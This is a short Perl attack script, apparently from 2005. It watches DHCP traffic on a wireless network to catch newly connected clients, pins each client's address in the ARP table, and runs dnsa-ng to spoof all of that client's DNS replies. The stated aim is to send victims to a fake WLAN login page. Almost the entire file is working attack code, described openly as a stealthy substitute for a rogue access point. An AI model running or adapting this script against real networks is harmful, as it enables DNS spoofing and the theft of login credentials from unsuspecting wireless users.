#!/usr/bin/perl ######################################################################################################### #Description: # This is a quick script to redirect a wireless client to a fake a login page for a WLAN. This is much # stealthier than implementing a rouge AP in conjunction with layer 1/2 attacks against the WAP. It # uses tethereal to listen for IP addresses being assigned to a new wireless client via DHCP, then # runs dnsa-ng to redirect DNS queries from the new client to the specified IP. # #Usage: # ./wlan_webauth # #Dependancies: # Uses tethereal and Pierre Betouin's dnsa-ng (http://www.packetfactory.net/projects/dnsa/). # #Supported platforms: # Tested on linux 2.6, with Prisim 2.5 (HostAP drivers) and Atheros (Madwifi drivers) wireless # cards. # #Notes: # Input interface must be placed in monitor mode. # #Craig Heffner #08/06/05 ########################################################################################################### #check usage if($#ARGV+1<3){ print "\nUsage: wlan_webauth \n\nExample: #./wlan_webauth ath0 192.168.0.102 wlan0\n\n"; exit; } #run tethereal to look for DHCP replies and grep for the assigned address open(ETHEREAL, "tethereal -i $ARGV[0] -c 1 -V -R 'bootp.type == 2' | grep -e 'Your (client) IP address:' -e 'MAC address:' |"); while($a<2){ $output.=; $a++; } close(ETHEREAL); #pull out the IP and MAC address from the string passed into $output if($output =~ /\b(IP address:)\s+(\S+)/i){ $ip=$2; } if($output =~ /\b(MAC address:)\s+(\S+)/i){ $mac=$2; } #add the client's MAC/IP to arp table to speed things up, and print out new arp table listings system "arp -s $ip $mac"; system "arp"; #run dnsa-ng to spoof replies to all DNS requests from the new client system "dnsa-ng -m raw4 -t wifi -1 -S $ARGV[1] -s $ip -i $ARGV[0] -I $ARGV[2]"; exit;